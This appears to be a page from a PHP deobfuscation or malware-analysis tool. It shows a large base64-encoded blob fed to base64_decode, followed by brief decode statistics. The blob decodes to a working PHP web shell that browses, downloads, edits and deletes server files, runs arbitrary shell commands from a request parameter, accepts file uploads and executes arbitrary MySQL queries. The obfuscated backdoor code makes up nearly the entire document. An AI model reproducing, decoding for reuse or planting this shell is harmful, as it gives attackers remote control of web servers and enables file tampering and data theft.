CAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYoaXNzZXQoJGZpbGVMaXN0KSkNCiAgICAgICAgICAgICAgICBpZihpc19hcnJheSgkZmlsZUxpc3QpKQ0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRmaWxlTGlzdCBhcyAkZGlyKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPSc/Zj0kZCIgLiAkc2xhc2ggLiAkZGlyWydkaXInXSAuICInPjxmb250IGNvbG9yPSIgLiAkZGlyWydjb2xvciddIC4gIj4iIC4gJGRpclsnZGlyJ10gLiAiPC9mb250PjwvYT4iIC4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAifDxhIGhyZWY9Jz9kbD0iIC4gY2xlYW5QYXRoKCRkLCRpc0xpbnV4KSAuICcmZmlsZT0nIC4kZGlyWyJkaXIiXSAuICInIHRhcmdldD0nX2JsYW5rJz5Eb3dubG9hZDwvYT58IiAuDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgInw8YSBocmVmPSc/ZWY9IiAuIGNsZWFuUGF0aCgkZCwkaXNMaW51eCkgLiAnJmZpbGU9JyAuJGRpclsiZGlyIl0gLiAiJyB0YXJnZXQ9J19ibGFuayc+RWRpdDwvYT58IiAuDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgInw8YSBocmVmPSc/ZGY9IiAuIGNsZWFuUGF0aCgkZCwkaXNMaW51eCkgLiAnJmZpbGU9JyAuJGRpclsiZGlyIl0gLiAiJyB0YXJnZXQ9J19ibGFuayc+RGVsZXRlPC9hPnwgXG4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgZWNobyAib3BlbmRpcigpIGZhaWxlZCI7DQogICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KICAgIH0NCiAgICBlbHNlaWYoaXNzZXQoJF9SRVFVRVNUWydjJ10pKQ0KICAgIHsNCiAgICAgICAgaWYoIEBpbmlfZ2V0KCdzYWZlX21vZGUnKSApDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gJ1NhZmUgbW9kZSBpcyBvbiwgdGhlIGNvbW1hbmQgaXMgYnkgZGVmYXVsdCBydW4gdGhvdWdoIGVzY2FwZXNoZWxsY21kKCkgYW5kIGNhbiBvbmx5IHJ1biBwcm9ncmFtbXMgaW4gc2FmZV9tb2RfZXhlY19kaXIgKCcgLiBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykgLiAnKSA8YnIgLz4nOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjxiPkNvbW1hbmQ6IDxJPiIgLiAkX1JFUVVFU1RbJ2MnXSAuICI8L0k+PC9iPjxiciAvPjxiciAvPiI7DQogICAgICAgIHRyaW0oZXhlYygkX1JFUVVFU1RbJ2MnXSwkcmV0dXJuKSk7DQogICAgICAgIGZvcmVhY2goJHJldHVybiBhcyAkdmFsKQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICc8cHJlPicgLiBodG1sZW50aXRpZXMoJHZhbCkgLiAnPC9wcmU+JzsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlaWYoaXNzZXQoJF9SRVFVRVNUWyd1cGxvYWRGb3JtJ10pIHx8IGlzc2V0KCRfRklMRVNbImZpbGVfbmFtZSJdKSkNCiAgICB7DQogICAgICAgIGlmKGlzc2V0KCRfRklMRVNbImZpbGVfbmFtZSJdKSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKCRfRklMRVNbImZpbGVfbmFtZSJdWyJlcnJvciJdID4gMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICJFcnJvciI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHRhcmdldF9wYXRoID0gJF9DT09LSUVbInVwbG9hZERpciJdOw0KICAgICAgICAgICAgICAgIGlmKHN1YnN0cigkdGFyZ2V0X3BhdGgsLTEpICE9ICIvIikNCiAgICAgICAgICAgICAgICAgICAgJHRhcmdldF9wYXRoIC49ICIvIjsNCg0KICAgICAgICAgICAgICAgICR0YXJnZXRfcGF0aCA9ICR0YXJnZXRfcGF0aCAuIGJhc2VuYW1lKCAkX0ZJTEVTWydmaWxlX25hbWUnXVsnbmFtZSddKTsNCg0KICAgICAgICAgICAgICAgIGlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlX25hbWUnXVsndG1wX25hbWUnXSwgJHRhcmdldF9wYXRoKSkgew0KICAgICAgICAgICAgICAgICAgICBzZXRjb29raWUoInVwbG9hZERpciIsIiIpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICJUaGUgZmlsZSAiLiAgYmFzZW5hbWUoICRfRklMRVNbJ2ZpbGVfbmFtZSddWyduYW1lJ10pLg0KICAgICAgICAgICAgICAgICAgICAgICAgIiBoYXMgYmVlbiB1cGxvYWRlZCI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIkVycm9yIGNvcHlpbmcgZmlsZSwgbGlrZWx5IGEgcGVybWlzc2lvbiBlcnJvci4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgID8+DQogICAgICAgICAgICA8Zm9ybSB0YXJnZXQ9Il9ibGFuayIgYWN0aW9uPSIiIG1ldGhvZD0iR0VUIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYyIgdmFsdWU9IjEiIC8+DQogICAgICAgICAgICAgICAgU3VibWl0IHRoaXMgZm9ybSBiZWZvcmUgc3VibWl0dGluZyBmaWxlICh3aWxsIG9wZW4gaW4gbmV3IHdpbmRvdyk6PGJyIC8+DQogICAgICAgICAgICAgICAgVXBsb2FkIERpcmVjdG9yeTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpciIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9SRVFVRVNUWyJkaXIiXSA/PiI+PGJyIC8+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InN1Ym1pdCIgLz4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgIDxiciAvPjxiciAvPg0KDQogICAgICAgICAgICA8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICBVcGxvYWQgZmlsZTo8aW5wdXQgbmFtZT0iZmlsZV9uYW1lIiB0eXBlPSJmaWxlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCIgLz48L2Zvcm0+DQoNCiAgICAgICAgICAgIDw/cGhwDQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZWlmKGlzc2V0KCRfUkVRVUVTVFsnY2MnXSkpDQogICAgew0KICAgICAgICBzZXRjb29raWUoInVwbG9hZERpciIsJF9HRVRbImRpciJdKTsNCiAgICAgICAgZWNobyAiWW91IGFyZSBPSyB0byB1cGxvYWQgdGhlIGZpbGUsIGRvbid0IHVwbG9hZCBmaWxlcyB0byBvdGhlciBkaXJlY3RvcmllcyBiZWZvcmUgY29tcGxldGluZyB0aGlzIHVwbG9hZC4iOw0KICAgIH0NCiAgICBlbHNlaWYoaXNzZXQoJF9SRVFVRVNUWydtcXVlcnknXSkpDQogICAgew0KICAgICAgICAkaG9zdD0kX1JFUVVFU1RbJ2hvc3QnXTsNCiAgICAgICAgJHVzcj0kX1JFUVVFU1RbJ3VzciddOw0KICAgICAgICAkcGFzc3dkPSRfUkVRVUVTVFsncGFzc3dkJ107DQogICAgICAgICRkYj0kX1JFUVVFU1RbJ2RiJ107DQogICAgICAgICRtcXVlcnk9JF9SRVFVRVNUWydtcXVlcnknXTsNCiAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGhvc3QsICR1c3IsICRwYXNzd2QpIG9yIGRpZSgiQ29ubmVjdGlvbiBFcnJvcjogIiAuIG15c3FsX2Vycm9yKCkpOw0KICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRiKTsNCiAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRtcXVlcnkpOw0KICAgICAgICBpZigkcmVzdWx0IT1mYWxzZSkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGgyPlRoZSBmb2xsb3dpbmcgcXVlcnkgaGFzIHN1Y2Vzc2Z1bGx5IGV4ZWN1dGVkPC9oMj4iIC4gaHRtbGVudGl0aWVzKCRtcXVlcnkpIC4gIjxiciAvPjxiciAvPiI7DQogICAgICAgICAgICBlY2hvICJSZXR1cm4gUmVzdWx0czo8YnIgLz4iOw0KICAgICAgICAgICAgJGZpcnN0PXRydWU7DQogICAgICAgICAgICBlY2hvICI8dGFibGUgYm9yZGVyPScxJz4iOw0KICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LE1ZU1FMX0FTU09DKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZigkZmlyc3QpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkcm93IGFzICRrZXk9PiR2YWwpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD48Yj4ka2V5PC9iPjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICAgICAgICAgICAgICAgIHJlc2V0KCRyb3cpOw0KICAgICAgICAgICAgICAgICAgICAkZmlyc3Q9ZmFsc2U7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHJvdyBhcyAkdmFsKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPiR2YWw8L3RkPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiUXVlcnkgRXJyb3I6ICIgLiBteXNxbF9lcnJvcigpOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ2RmJ10pKQ0KICAgIHsNCiAgICAgICAgJF9SRVFVRVNUWydkZiddIC49ICRzbGFzaCAuICRfUkVRVUVTVFsnZmlsZSddOw0KICAgICAgICBpZihAdW5saW5rKCRfUkVRVUVTVFsnZGYnXSkpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIkZpbGUgZGVsZXRlZCI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICJFcnJvciBkZWxldGluZyBmaWxlIjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlaWYoaXNzZXQoJF9SRVFVRVNUWydlZiddKSkNCiAgICB7DQogICAgICAgID8+DQogICAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgICAgIDwhLS0NCg0KICAgICAgICAgICAgdmFyIGtleSA9ICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSI7DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGVuY29kZTY0KGlucFN0cikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpbnBTdHIgPSBlc2NhcGUoaW5wU3RyKTsNCiAgICAgICAgICAgICAgICB2YXIgb3V0cHV0ID0gIiI7DQogICAgICAgICAgICAgICAgdmFyIGNocjEsIGNocjIsIGNocjMgPSAiIjsNCiAgICAgICAgICAgICAgICB2YXIgZW5jMSwgZW5jMiwgZW5jMywgZW5jNCA9ICIiOw0KICAgICAgICAgICAgICAgIHZhciBpID0gMDsNCg0KICAgICAgICAgICAgICAgIGRvIHsNCiAgICAgICAgICAgICAgICAgICAgY2hyMSA9IGlucFN0ci5jaGFyQ29kZUF0KGkrKyk7DQogICAgICAgICAgICAgICAgICAgIGNocjIgPSBpbnBTdHIuY2hhckNvZGVBdChpKyspOw0KICAgICAgICAgICAgICAgICAgICBjaHIzID0gaW5wU3RyLmNoYXJDb2RlQXQoaSsrKTsNCg0KICAgICAgICAgICAgICAgICAgICBlbmMxID0gY2hyMSA+PiAyOw0KICAgICAgICAgICAgICAgICAgICBlbmMyID0gKChjaHIxICYgMykgPDwgNCkgfCAoY2hyMiA+PiA0KTsNCiAgICAgICAgICAgICAgICAgICAgZW5jMyA9ICgoY2hyMiAmIDE1KSA8PCAyKSB8IChjaHIzID4+IDYpOw0KICAgICAgICAgICAgICAgICAgICBlbmM0ID0gY2hyMyAmIDYzOw0KDQogICAgICAgICAgICAgICAgICAgIGlmIChpc05hTihjaHIyKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgZW5jMyA9IGVuYzQgPSA2NDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlIGlmIChpc05hTihjaHIzKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgZW5jNCA9IDY0Ow0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgb3V0cHV0ID0gb3V0cHV0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgIGtleS5jaGFyQXQoZW5jMSkgKw0KICAgICAgICAgICAgICAgICAgICAgICAga2V5LmNoYXJBdChlbmMyKSArDQogICAgICAgICAgICAgICAgICAgICAgICBrZXkuY2hhckF0KGVuYzMpICsNCiAgICAgICAgICAgICAgICAgICAgICAgIGtleS5jaGFyQXQoZW5jNCk7DQogICAgICAgICAgICAgICAgICAgIGNocjEgPSBjaHIyID0gY2hyMyA9IGVuYzEgPSBlbmMyID0gZW5jMyA9IGVuYzQgPSAiIjsNCiAgICAgICAgICAgICAgICB9IHdoaWxlIChpIDwgaW5wU3RyLmxlbmd0aCk7DQoNCiAgICAgICAgICAgICAgICByZXR1cm4gb3V0cHV0Ow0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLy0tPjwvc2NyaXB0Pg0KDQogICAgICAgIDw/cGhwDQogICAgICAgICRfUkVRVUVTVFsnZWYnXSAuPSAkX1JFUVVFU1RbJ2ZpbGUnXTsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyJuZXdjb250ZW50Il0pKQ0KICAgICAgICB7DQogICAgICAgICAgICAkX1BPU1RbIm5ld2NvbnRlbnQiXT11cmxkZWNvZGUoYmFzZTY0X2RlY29kZSgkX1BPU1RbIm5ld2NvbnRlbnQiXSkpOw0KICAgICAgICAgICAgJHN0cmVhbT1AZm9wZW4oJF9SRVFVRVNUWydlZiddLCJ3Iik7DQoNCiAgICAgICAgICAgIGlmKCRzdHJlYW0pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZndyaXRlKCRzdHJlYW0sJF9QT1NUWyJuZXdjb250ZW50Il0pOw0KICAgICAgICAgICAgICAgIGVjaG8gIldyaXRlIHN1Y2Vzc2Z1bCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiQ291bGQgbm90IHdyaXRlIHRvIGZpbGUiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZmNsb3NlKCRzdHJlYW0pOw0KICAgICAgICB9DQogICAgICAgID8+DQogICAgICAgIDxmb3JtIGFjdGlvbj0iIiBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgPHRleHRhcmVhIHdyYXA9Im9mZiIgcm93cz0iNDAiIGNvbHM9IjEzMCIgbmFtZT0ibmV3Y29udGVudCI+PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygkX1JFUVVFU1RbJ2VmJ10pID8+PC90ZXh0YXJlYT48YnIgLz4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJJIGJhc2U2NCBlbmNvZGVkIGl0IG15c2VsZiwgZG9udCBydW4gc2NyaXB0IiAvPjxiciAvPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNoYW5nZSAocmVxdWlyZXMgamF2YXNjcmlwdCB0byB3b3JrKSIgIG9uY2xpY2s9ImRvY3VtZW50LmYubmV3Y29udGVudC52YWx1ZT1lbmNvZGU2NChkb2N1bWVudC5mLm5ld2NvbnRlbnQudmFsdWUpOyIgLz4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgICA8P3BocA0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICA/Pg0KICAgICAgICA8Yj5TZXJ2ZXIgSW5mb3JtYXRpb246PC9iPjxiciAvPg0KICAgICAgICA8aT4NCiAgICAgICAgICAgIE9wZXJhdGluZyBTeXN0ZW06IDw/cGhwIGVjaG8gUEhQX09TID8+PGJyIC8+DQogICAgICAgICAgICBQSFAgVmVyc2lvbjogPD9waHAgZWNobyBQSFBfVkVSU0lPTiA/PjxiciAvPg0KICAgICAgICAgICAgPGEgaHJlZj0iP3BocGluZm89dHJ1ZSI+VmlldyBwaHBpbmZvPC9hPg0KICAgICAgICA8L2k+DQogICAgICAgIDxiciAvPg0KICAgICAgICA8YnIgLz4NCiAgICAgICAgPGI+RGlyZWN0b3J5IFRyYXZlcnNhbDwvYj48YnIgLz4NCiAgICAgICAgPGEgaHJlZj0iP2Q9PD9waHAgZWNobyBnZXRjd2QoKSA/PiI+PGI+R28gdG8gY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeTwvYj48L2E+IDxiciAvPg0KICAgICAgICA8YSBocmVmPSI/ZD08P3BocCBlY2hvICRyb290RGlyID8+Ij48Yj5HbyB0byByb290IGRpcmVjdG9yeTwvYj48L2E+IDxiciAvPg0KICAgICAgICA8Yj5HbyB0byBhbnkgZGlyZWN0b3J5OjwvYj4gPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iR0VUIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHJvb3REaXIgPz4iIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPjwvZm9ybT4NCg0KDQoNCiAgICAgICAgPGhyPkV4ZWN1dGUgTXlTUUwgUXVlcnk6DQogICAgICAgIDxmb3JtIGFjdGlvbj0iIiBNRVRIT0Q9IkdFVCIgPg0KICAgICAgICAgICAgPHRhYmxlPg0KICAgICAgICAgICAgICAgIDx0cj48dGQ+aG9zdDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0InZhbHVlPSJsb2NhbGhvc3QiPiA8L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgPHRyPjx0ZD51c2VyPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzciIgdmFsdWU9InJvb3QiPiA8L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgPHRyPjx0ZD5wYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzd2QiPiA8L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgPHRyPjx0ZD5kYXRhYmFzZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiI+IDwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICA8dHI+PHRkIHZhbGlnbj0idG9wIj5xdWVyeTwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPSJtcXVlcnkiIHJvd3M9IjYiIGNvbHM9IjY1Ij48L3RleHRhcmVhPiA8L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgPHRyPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZXhlY3V0ZSI+PC90ZD48L3RyPg0KICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgICA8aHI+DQogICAgICAgIDxwcmU+PGZvcm0gYWN0aW9uPSIiIE1FVEhPRD0iR0VUIiA+RXhlY3V0ZSBTaGVsbCBDb21tYW5kIChzYWZlIG1vZGUgaXMgPD9waHAgZWNobyAoQGluaV9nZXQoJ3NhZmVfbW9kZScpID8gJ29uJyA6ICdvZmYnKSA/Pik6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iPjwvZm9ybT4NCiAgICAgICAgPD9waHANCiAgICB9DQovL0ludGVudGlvbmFsbHkgbGVmdCBvcGVuIHRvIGF2b2lkIG91dHB1dCB0aGUgZmlsZSBkb3dubG9hZCBmdW5jdGlvbiAxDQoNCn0gZWxzZSB7DQogICAgZWNobyAnQXV0aCBBY2Nlc3MgRGVuaWVkJzsNCn0=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 9ab37a4fd54e3da326129fcd69c96458
Eval Count 1
Decode Time 113 ms